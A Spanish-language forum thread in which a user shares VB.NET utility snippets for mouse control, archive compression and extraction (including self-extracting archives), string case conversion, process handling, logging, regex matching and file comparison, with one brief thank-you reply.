· Devuelve la posición del mouse en formato seleccionable #Region " Get Cursor Pos " Public Enum Cursor_Data AsText AsPoint End Enum ' [ Get Cursor Pos Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Cursor_Pos(Cursor_Data.AsText)) ' MsgBox(Get_Cursor_Pos(Cursor_Data.AsPoint).ToString) Private Function Get_Cursor_Pos(ByVal Cursor_Data As Cursor_Data) Select Case Cursor_Data Case Cursor_Data.AsText : Return Cursor.Position.X & ", " & Cursor.Position.Y Case Cursor_Data.AsPoint : Return Cursor.Position Case Else : Return Nothing End Select End Function #End Region
· Mueve el cursor #Region " Mouse Move " ' [ Mouse Move ] ' ' // By Elektro H@cker ' ' Examples: ' Mouse_Move(-50, 0) ' Move the cursor 50 pixels to left ' Mouse_Move(+50, 0) ' Move the cursor 50 pixels to right ' Mouse_Move(0, +50) ' Move the cursor 50 pixels to down ' Mouse_Move(0, -50) ' Move the cursor 50 pixels to up Public Enum MouseMove_Event As Int32 Move = &H1 End Enum Public Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseMove_Event, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer) Private Sub Mouse_Move(ByVal X As Int32, ByVal Y As Int32) Mouse_Event(&H1, X, Y, 0, 0) End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 16:11 pm
· Descomprimir con la librería SevenzipSharp: EDITO: Mejorado (Extracción con password) #Region " SevenZipSharp Extract " ' [ SevenZipSharp Extract Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "SevenZipSharp.dll". ' 2. Add the "7z.dll" or "7z64.dll" files to the project. ' 3. Use the code below. ' ' Examples : ' SevenZipSharp_Extract("C:\File.7zip") ' Will be extracted in the same dir. ' SevenZipSharp_Extract("C:\File.7zip", "C:\Extracted\") ' Will be extracted in "C:\Extracted\". ' SevenZipSharp_Extract("C:\File.7zip", , "Password") ' Will be extracted with the given password. Imports SevenZip Dim dll As String = "7z.dll" Private Function SevenZipSharp_Extract(ByVal InputFile As String, _ Optional ByVal OutputDir As String = Nothing, _ Optional ByVal Password As String = "Nothing") As Boolean Try ' Set library path SevenZipExtractor.SetLibraryPath(dll) ' Create extractor and specify the file to extract Dim Extractor As SevenZipExtractor = New SevenZipExtractor(InputFile, Password) ' Specify the output path where the files will be extracted If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName ' Add Progress Handler ' AddHandler Extractor.Extracting, AddressOf SevenZipSharp_Extract_Progress ' Check for password matches If Extractor.Check() Then ' Start the extraction Extractor.BeginExtractArchive(OutputDir) Else Return False ' Bad password End If Return True ' File extracted Extractor.Dispose() Catch ex As Exception 'Return False ' File not extracted Throw New Exception(ex.Message) End Try End Function ' Public Sub SevenZipSharp_Extract_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs) ' MsgBox("Percent extracted: " & e.PercentDone) ' End Sub #End Region
· Comprimir con la librería SevenzipSharp: EDITO: Mejorado (Compresión con password) #Region " SevenZipSharp Compress " ' [ SevenZipSharp Compress Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "SevenZipSharp.dll". ' 2. Add the "7z.dll" or "7z64.dll" files to the project. ' 3. Use the code below. ' ' Examples : ' SevenZipSharp_Compress("C:\File.txt") ' File will be compressed in the same dir. ' SevenZipSharp_Compress("C:\File.txt", "C:\Compressed\File.7z") ' File will be compressed in "C:\Extracted\". ' SevenZipSharp_Compress("C:\Folder\", , , , , , "Password") ' File will be compressed with the given password. ' SevenZipSharp_Compress("C:\File.txt", , OutArchiveFormat.Zip, , CompressionMethod.Lzma, CompressionLevel.Ultra) Imports SevenZip Dim dll As String = "7z.dll" Private Function SevenZipSharp_Compress(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal Format As OutArchiveFormat = OutArchiveFormat.SevenZip, _ Optional ByVal CompressionMode As CompressionMode = CompressionMode.Create, _ Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.Lzma, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _ Optional ByVal Password As String = Nothing) As Boolean Try ' Set library path SevenZipExtractor.SetLibraryPath(dll) ' Create compressor and specify the file or folder to compress Dim Compressor As SevenZipCompressor = New SevenZipCompressor() ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. Compressor.CompressionMethod = CompressionMethod ' Append files to compressed file or overwrite the compressed file. Compressor.ArchiveFormat = Format ' Compression file format Compressor.CompressionMode = CompressionMode ' Compression mode Compressor.DirectoryStructure = True ' Preserve the directory structure. Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives. Compressor.ScanOnlyWritable = False ' Compress files only open for writing. Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path Compressor.FastCompression = False ' Compress as fast as possible, without calling events. Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory. Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives. Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance ' Get File extension Dim CompressedFileExtension As String = Nothing Select Case Compressor.ArchiveFormat Case OutArchiveFormat.SevenZip : CompressedFileExtension = ".7z" Case OutArchiveFormat.BZip2 : CompressedFileExtension = ".bz" Case OutArchiveFormat.GZip : CompressedFileExtension = ".gzip" Case OutArchiveFormat.Tar : CompressedFileExtension = ".tar" Case OutArchiveFormat.XZ : CompressedFileExtension = ".xz" Case OutArchiveFormat.Zip : CompressedFileExtension = ".zip" End Select ' Add Progress Handler 'AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress ' Removes the end slash ("\") if given for a directory If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then _ OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & CompressedFileExtension).Replace("\\", "\") ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir If Not Password Is Nothing Then Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password) Else Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True) End If ElseIf IO. File. Exists(Input_DirOrFile ) Then ' Is a File If Not Password Is Nothing Then Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile) Else Compressor.CompressFiles(OutputFileName, Input_DirOrFile) End If End If Catch ex As Exception 'Return False ' File not compressed Throw New Exception(ex.Message) End Try Return True ' File compressed End Function ' Public Sub SevenZipSharp_Compress_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs) ' MsgBox("Percent compressed: " & e.PercentDone) ' End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 16:43 pm
· Devuelve información sobre archivos comprimidos (tamaño, nombre de los archivos internos, total de archivos internos..) #Region " SevenZipSharp FileInfo " ' [ SevenZipSharp FileInfo Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "SevenZipSharp.dll". ' 2. Add the "7z.dll" or "7z64.dll" files to the project. ' 3. Use the code below. ' ' Examples : ' MsgBox(SevenZipSharp_FileInfo("C:\Test.7z", SevenZip_Info.Format)) ' For Each FileName In SevenZipSharp_FileInfo("C:\Test.zip", SevenZip_Info.Internal_Files_FileNames) : MsgBox(FileName) : Next Imports SevenZip Dim dll As String = "7z.dll" Public Enum SevenZip_Info FileName Format Size_In_Bytes Internal_Files_FileNames Total_Internal_Files End Enum Private Function SevenZipSharp_FileInfo(ByVal InputFile As String, ByVal Info As SevenZip_Info) Try ' Set library path SevenZip.SevenZipExtractor.SetLibraryPath(dll) ' Create extractor and specify the file to extract Dim Extractor As SevenZip.SevenZipExtractor = New SevenZip.SevenZipExtractor(InputFile) ' Return info Select Case Info Case SevenZip_Info.FileName Return Extractor.FileName Case SevenZip_Info.Format Return Extractor.Format Case SevenZip_Info.Size_In_Bytes Return Extractor.PackedSize Case SevenZip_Info.Total_Internal_Files Return Extractor.FilesCount Case SevenZip_Info.Internal_Files_FileNames Dim FileList As New List(Of String) For Each Internal_File In Extractor.ArchiveFileData FileList.Add(Internal_File.FileName) Next Return FileList Case Else Return Nothing End Select Extractor.Dispose() Catch ex As Exception ' Return nothing Throw New Exception(ex.Message) End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 17:52 pm
Una función muy simple, elimina el último caracter de un string, puede ahorrar bastante escritura de código a veces... #Region " Remove Last Char " ' [ Remove Last Char Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Remove_Last_Char("C:\Folder\")) ' Var = Remove_Last_Char(Var) Private Function Remove_Last_Char(ByVal str As String) As String Return str.Substring(0, str.Length - 1) End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 18:12 pm
· Convierte un string a LowerCase/Titlecase/UpperCase/WordCase #Region " String to Case " ' [ String to Case Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Case("THiS is a TeST", StringCase.Titlecase)) ' Var = String_To_WordCase(Var, StringCase.LowerCase) Public Enum StringCase LowerCase Titlecase UpperCase WordCase End Enum Private Function String_To_Case(ByVal str As String, ByVal StringCase As StringCase) As String Select Case StringCase Case Form1.StringCase.LowerCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToLower(str) Case Form1.StringCase.Titlecase : Return Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase) Case Form1.StringCase.UpperCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToUpper(str) Case Form1.StringCase.WordCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str) Case Else : Return Nothing End Select End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2013, 12:06 pm
La función de convertir un string a Case, mejorada y mucho más ampliada: #Region " String to Case " ' [ String to Case Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Case("THiS is a TeST", StringCase.Titlecase)) ' MsgBox(String_To_Case("THiS is a TeST", StringCase.DelimitedCase_Lower, ";")) ' Var = String_To_WordCase(Var, StringCase.LowerCase) Public Enum StringCase LowerCase UpperCase Titlecase WordCase CamelCase_First_Lower CamelCase_First_Upper MixedCase_First_Lower MixedCase_First_Upper MixedCase_Word_Lower MixedCase_Word_Upper DelimitedCase_Lower DelimitedCase_Mixed_Word_Lower DelimitedCase_Mixed_Word_Upper DelimitedCase_Title DelimitedCase_Upper DelimitedCase_Word End Enum Private Function String_To_Case(ByVal str As String, _ ByVal StringCase As StringCase, _ Optional ByVal Delimiter As String = "-") As String Select Case StringCase Case StringCase.LowerCase Return str.ToLower Case StringCase.UpperCase Return str.ToUpper Case StringCase.Titlecase Return Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase) Case StringCase.WordCase Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str) Case StringCase.CamelCase_First_Lower Return Char.ToLower(str(0)) & _ System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str).Replace(" ", "").Substring(1) Case StringCase.CamelCase_First_Upper Return Char.ToUpper(str(0)) & _ System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str).Replace(" ", "").Substring(1) Case StringCase.MixedCase_First_Lower Dim MixedString As String = Nothing For X As Integer = 0 To str.Length - 1 Dim c As Char = str(X) If (X / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToUpper _ Else MixedString += c.ToString.ToLower Next Return MixedString Case StringCase.MixedCase_First_Upper Dim MixedString As String = Nothing For X As Integer = 0 To str.Length - 1 Dim c As Char = str(X) If (X / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToLower _ Else MixedString += c.ToString.ToUpper Next Return MixedString Case StringCase.MixedCase_Word_Lower Dim MixedString As String = Nothing Dim Count As Integer = 1 For X As Integer = 0 To str.Length - 1 Dim c As Char = str(X) If Not c = " " Then Count += 1 Else Count = 1 If (Count / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToUpper _ Else MixedString += c.ToString.ToLower Next Return MixedString Case StringCase.MixedCase_Word_Upper Dim MixedString As String = Nothing Dim Count As Integer = 1 For X As Integer = 0 To str.Length - 1 Dim c As Char = str(X) If Not c = " " Then Count += 1 Else Count = 1 If (Count / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToLower _ Else MixedString += c.ToString.ToUpper Next Return MixedString Case StringCase.DelimitedCase_Lower Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(str.ToLower, Delimiter) Case StringCase.DelimitedCase_Upper Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(str.ToUpper, Delimiter) Case StringCase.DelimitedCase_Title Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase), Delimiter) Case StringCase.DelimitedCase_Word Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str), Delimiter) Case StringCase.DelimitedCase_Mixed_Word_Lower Dim MixedString As String = Nothing Dim Count As Integer = 1 For X As Integer = 0 To str.Length - 1 Dim c As Char = str(X) If Not c = " " Then Count += 1 Else Count = 1 If (Count / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToUpper _ Else MixedString += c.ToString.ToLower Next Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(MixedString, Delimiter) Case StringCase.DelimitedCase_Mixed_Word_Upper Dim MixedString As String = Nothing Dim Count As Integer = 1 For X As Integer = 0 To str.Length - 1 Dim c As Char = str(X) If Not c = " " Then Count += 1 Else Count = 1 If (Count / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToLower _ Else MixedString += c.ToString.ToUpper Next Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(MixedString, Delimiter) Case Else Return Nothing End Select End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2013, 15:31 pm
· Un AppActivate distinto, en mi opinión mejor, se usa por el nombre del proceso, con posibilidad de seleccionar el proceso por el título de la ventana de dicho proceso: #Region " Activate APP " ' [ Activate APP Function ] ' ' // By Elektro H@cker ' ' Examples : ' ActivateAPP("notepad.exe") ' ActivateAPP("notepad.exe", "Notepad Sub-Window Title") ' MsgBox(ActivateAPP("notepad")) Private Function ActivateAPP(ByVal ProcessName As String, _ Optional ByVal WindowTitle As String = Nothing) As Boolean If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4) Dim ProcessTitle As String = Nothing Dim ProcessArray = Process.GetProcessesByName(ProcessName) If ProcessArray.Length = 0 Then : Return False ' ProcessName not found ElseIf ProcessArray.Length > 1 AndAlso Not WindowTitle Is Nothing Then For Each Title In ProcessArray If Title.MainWindowTitle.Contains(WindowTitle) Then _ ProcessTitle = Title.MainWindowTitle Next Else : ProcessTitle = ProcessArray(0).MainWindowTitle End If AppActivate(ProcessTitle) Return True ' Window activated End Function #End Region
· Escribe texto en un Log #Region " Write Log " ' [ Write Log Function ] ' ' // By Elektro H@cker ' ' Examples : ' WriteLog("Application started", InfoType.Information) ' WriteLog("Application got mad", InfoType.Critical) Dim LogFile = CurDir() & "\" & System.Reflection.Assembly.GetExecutingAssembly.GetName().Name & ".log" Public Enum InfoType Information Exception Critical None End Enum Private Function WriteLog(ByVal Message As String, ByVal InfoType As InfoType) As Boolean Dim LocalDate As String = My.Computer.Clock.LocalTime.ToString.Split(" ").First Dim LocalTime As String = My.Computer.Clock.LocalTime.ToString.Split(" ").Last Dim LogDate As String = "[ " & LocalDate & " ] " & " [ " & LocalTime & " ] " Dim MessageType As String = Nothing Select Case InfoType Case InfoType.Information : MessageType = "Information: " Case InfoType.Exception : MessageType = "Error: " Case InfoType.Critical : MessageType = "Critical: " Case InfoType.None : MessageType = "" End Select Try My.Computer.FileSystem.WriteAllText(LogFile, vbNewLine & LogDate & MessageType & Message & vbNewLine, True) Return True Catch ex As Exception 'Return False Throw New Exception(ex.Message) End Try End Function #End Region
· Cierra un proceso (No lo mata) #Region " Close Process Function " ' [ Close Process Function ] ' ' Examples : ' ' Close_Process(Application.ExecutablePath) ' Close_Process("notepad.exe") ' Close_Process("notepad", False) Private Function Close_Process(ByRef Process_Name As String, _ Optional ByVal OnlyFirstFound As Boolean = True) As Boolean If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4) Dim proc() As Process = Process.GetProcessesByName(Process_Name) If Not OnlyFirstFound Then For proc_num As Integer = 0 To proc.Length - 1 Try : proc(proc_num).CloseMainWindow() _ : Catch : Return False : End Try ' One of the processes can't be closed Next Return True Else Try : proc(0).CloseMainWindow() : Return True ' Close message sent to the process Catch : Return False : End Try ' Can't close the process End If Return Nothing ' ProcessName not found End Function #End Region
· Buscar coincidencias de texto usando expresiones regulares #Region " Find RegEx " ' [ Find RegEx Function ] ' ' // By Elektro H@cker ' ' Examples : ' If Find_RegEx("abcdef", "^[A-Z]+$") Then MsgBox("Yes") Else MsgBox("No") ' Result: No ' If Find_RegEx("abcdef", "^[A-Z]+$", True) Then MsgBox("Yes") Else MsgBox("No") ' Result: Yes Private Function Find_RegEx(ByVal str As String, ByVal Pattern As String, _ Optional ByVal Ignorecase As Boolean = False) As Boolean Dim RegExCase As System.Text.RegularExpressions.RegexOptions If Ignorecase Then _ RegExCase = System.Text.RegularExpressions.RegexOptions.IgnoreCase _ Else RegExCase = System.Text.RegularExpressions.RegexOptions.None Dim RegEx As New System.Text.RegularExpressions.Regex(Pattern, RegExCase) Return RegEx.IsMatch(str) End Function #End Region
· Leer un texto línea por línea (For each line...) con posibilidad de saltar líneas en blanco. #Region " Read TextFile Libe By Line " ' [ Read TextFile Libe By Line ] ' ' // By Elektro H@cker ' ' Examples : ' Read_TextFile_Libe_By_Line("C:\Test.txt") ' Read_TextFile_Libe_By_Line("C:\Test.txt", True) Private Sub Read_TextFile_Libe_By_Line(ByVal TextFile As String, _ Optional ByVal Read_Blank_Lines As Boolean = False) Dim Line As String = Nothing Dim Text As IO. StreamReader = IO. File. OpenText(TextFile ) Dim RegEx As New System.Text.RegularExpressions.Regex("^\s+$") Do Until Text.EndOfStream Line = Text.ReadLine() If (Not Read_Blank_Lines _ AndAlso _ (Not Line = "" _ And Not RegEx.IsMatch(Line))) _ OrElse Read_Blank_Lines Then ' Do things here... MsgBox(Line) End If Loop Text.Close() : Text.Dispose() End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2013, 16:38 pm
· Devuelve el valor de un nombre de un Enum #Region " Get Enum Value " ' [ Get Enum Value Function ] ' ' Examples : ' MsgBox(Get_Enum_Value(DayOfWeek.Sunday)) ' Result: 0 ' MsgBox(Get_Enum_Value(DayOfWeek.Monday)) ' Result: 1 Function Get_Enum_Value(Of T)(Byval ValueName As T) As Int32 Return Convert.ToInt32(ValueName) End Function #End Region
· Devuelve el nombre de un valor de un Enum #Region " Get Enum Name " ' [ Get Enum ValueName Function ] ' ' Examples : ' MsgBox(Get_Enum_Name(Of DayOfWeek)(0)) ' Result: Sunday ' MsgBox(Get_Enum_Name(Of DayOfWeek)(1)) ' Result: Monday Private Function Get_Enum_Name(Of T)(EnumValue As Integer) As String Return [Enum].GetName(GetType(T), EnumValue) End Function #End Region
· Comparar dos archivos: #Region " Compare Files " ' [ Compare Files Function ] ' ' Examples : ' MsgBox(Compare_Files("C:\File1.txt", "C:\File2.txt")) Private Function Compare_Files(ByVal File1 As String, ByVal File2 As String) As Boolean ' Set to true if the files are equal; false otherwise Dim FilesAreEqual As Boolean = False With My.Computer.FileSystem ' Ensure that the files are the same length before comparing them line by line. If .GetFileInfo(File1).Length = .GetFileInfo(File2).Length Then Using file1Reader As New FileStream(File1, FileMode.Open), _ file2Reader As New FileStream(File2, FileMode.Open) Dim byte1 As Integer = file1Reader.ReadByte() Dim byte2 As Integer = file2Reader.ReadByte() ' If byte1 or byte2 is a negative value, we have reached the end of the file. While byte1 >= 0 AndAlso byte2 >= 0 If (byte1 <> byte2) Then FilesAreEqual = False Exit While Else FilesAreEqual = True End If ' Read the next byte. byte1 = file1Reader.ReadByte() byte2 = file2Reader.ReadByte() End While End Using End If End With Return FilesAreEqual End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: TrashAmbishion en 16 Abril 2013, 18:51 pm
Ja no tienes nada que hacer verdad !! GRacias por los aportes ;-) ;-) ;-) ;-) ;-)
::) ;D
Dale suave !!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Abril 2013, 21:28 pm
· Comprimir con DotNetZip #Region " DotNetZip Compress " ' [ DotNetZip Compress Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "Ionic.Zip.dll". ' 2. Use the code below. ' ' Examples: ' DotNetZip_Compress("C:\File.txt") ' DotNetZip_Compress("C:\Folder") ' DotNetZip_Compress("C:\Folder", "C:\Folder\Test.zip", , CompressionLevel.BestCompression, "Password", EncryptionAlgorithm.WinZipAes256) Imports Ionic.Zip Imports Ionic.Zlib Private Function DotNetZip_Compress(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _ Optional ByVal Password As String = Nothing, _ Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None _ ) As Boolean Try ' Create compressor Dim Compressor As ZipFile = New ZipFile ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. Compressor.CompressionMethod = CompressionMethod ' Compression method Compressor.Password = Password ' Zip Password Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then _ Compressor.Encryption = EncryptionAlgorithm.None _ Else Compressor.Encryption = Encrypt_Password ' Encryption for Zip password. ' Add Progress Handler ' AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_Progress ' Removes the end slash ("\") if is given for a directory. If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then _ OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".zip").Replace("\\", "\") ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir Compressor.AddDirectory(Input_DirOrFile) ElseIf IO. File. Exists(Input_DirOrFile ) Then ' It's a File Compressor.AddFile(Input_DirOrFile) End If Compressor.Save(OutputFileName) Compressor.Dispose() Catch ex As Exception 'Return False ' File not compressed Throw New Exception(ex.Message) End Try Return True ' File compressed End Function 'Public Sub DotNetZip_Compress_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs) ' ' If e.EventType = ZipProgressEventType.Saving_Started Then ' MsgBox("Begin Saving: " & _ ' e.ArchiveName) ' Destination ZIP filename ' ' ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then ' MsgBox("Writing: " & e.CurrentEntry.FileName & _ ' " (" & (e.EntriesSaved + 1) & "/" & e.EntriesTotal & ")") ' Input filename to be compressed ' ' ' ProgressBar2.Maximum = e.EntriesTotal ' Count of total files to compress ' ' ProgressBar2.Value = e.EntriesSaved + 1 ' Count of compressed files ' ' ElseIf e.EventType = ZipProgressEventType.Saving_EntryBytesRead Then ' ' ProgressBar1.Value = CType((e.BytesTransferred * 100) / e.TotalBytesToTransfer, Integer) ' Total Progress ' ' ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then ' MessageBox.Show("Compression Done: " & vbNewLine & _ ' e.ArchiveName) ' Compression finished ' End If ' 'End Sub #End Region
· Crear un SFX con DotNetZip #Region " DotNetZip Compress SFX " ' [ DotNetZip Compress SFX Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "Ionic.Zip.dll". ' 2. Use the code below. ' ' Examples: ' DotNetZip_Compress_SFX("C:\File.txt") ' DotNetZip_Compress_SFX("C:\Folder") ' ' DotNetZip_Compress_SFX( _ ' "C:\File.txt", "C:\Test.exe", , CompressionLevel.BestCompression, _ ' "MyPassword", EncryptionAlgorithm.WinZipAes256, , , _ ' ExtractExistingFileAction.OverwriteSilently, , , , _ ' System.IO.Path.GetFileName("notepad.exe") _ ' ) Imports Ionic.Zip Imports Ionic.Zlib Private Function DotNetZip_Compress_SFX(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _ Optional ByVal Password As String = Nothing, _ Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None, _ Optional ByVal Extraction_Directory As String = ".\", _ Optional ByVal Silent_Extraction As Boolean = False, _ Optional ByVal Overwrite_Files As ExtractExistingFileAction = ExtractExistingFileAction.InvokeExtractProgressEvent, _ Optional ByVal Delete_Extracted_Files_After_Extraction As Boolean = False, _ Optional ByVal Icon As String = Nothing, _ Optional ByVal Window_Title As String = Nothing, _ Optional ByVal Window_Style As SelfExtractorFlavor = SelfExtractorFlavor.WinFormsApplication, _ Optional ByVal Command_Line_Argument As String = Nothing _ ) As Boolean Try ' Create compressor Dim Compressor As ZipFile = New ZipFile ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. ' Compression method Compressor.Password = Password ' Zip Password Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then Compressor.Encryption = EncryptionAlgorithm.None ' No encryption because no password. Compressor.CompressionMethod = CompressionMethod ' Set any compression method. Else Compressor.Encryption = Encrypt_Password ' Set Encryption for Zip password. Compressor.CompressionMethod = CompressionMethod.Deflate ' Set deflate method to don't destroy the SFX if AES encryption. End If Dim SFX_Options As New SelfExtractorSaveOptions() SFX_Options.DefaultExtractDirectory = Extraction_Directory SFX_Options.Quiet = Silent_Extraction SFX_Options.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently SFX_Options.RemoveUnpackedFilesAfterExecute = Delete_Extracted_Files_After_Extraction SFX_Options.Flavor = Window_Style SFX_Options.PostExtractCommandLine = Command_Line_Argument If Not Icon Is Nothing Then SFX_Options.IconFile = Icon If Not Window_Title Is Nothing Then SFX_Options.SfxExeWindowTitle = Window_Title ' Add Progress Handler ' AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_SFX_Progress ' Removes the end slash ("\") if is given for a directory. If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then _ OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".exe").Replace("\\", "\") ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir Compressor.AddDirectory(Input_DirOrFile) ElseIf IO. File. Exists(Input_DirOrFile ) Then ' It's a File Compressor.AddFile(Input_DirOrFile) End If Compressor.SaveSelfExtractor(OutputFileName, SFX_Options) Compressor.Dispose() Catch ex As Exception 'Return False ' File not compressed Throw New Exception(ex.Message) End Try Return True ' File compressed End Function ' Public Sub DotNetZip_Compress_SFX_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs) ' ' If e.EventType = ZipProgressEventType.Saving_Started Then ' MsgBox("Begin Saving: " & _ ' e.ArchiveName) ' Destination ZIP filename ' ' ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then ' MsgBox("Writing: " & e.CurrentEntry.FileName & _ ' " (" & (e.EntriesSaved + 1) & "/" & e.EntriesTotal & ")") ' Input filename to be compressed ' ' ' ProgressBar2.Maximum = e.EntriesTotal ' Count of total files to compress ' ' ProgressBar2.Value = e.EntriesSaved + 1 ' Count of compressed files ' ' ElseIf e.EventType = ZipProgressEventType.Saving_EntryBytesRead Then ' ' ProgressBar1.Value = CType((e.BytesTransferred * 100) / e.TotalBytesToTransfer, Integer) ' Total Progress ' ' ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then ' MessageBox.Show("Compression Done: " & vbNewLine & _ ' e.ArchiveName) ' Compression finished ' End If ' ' End Sub #End Region
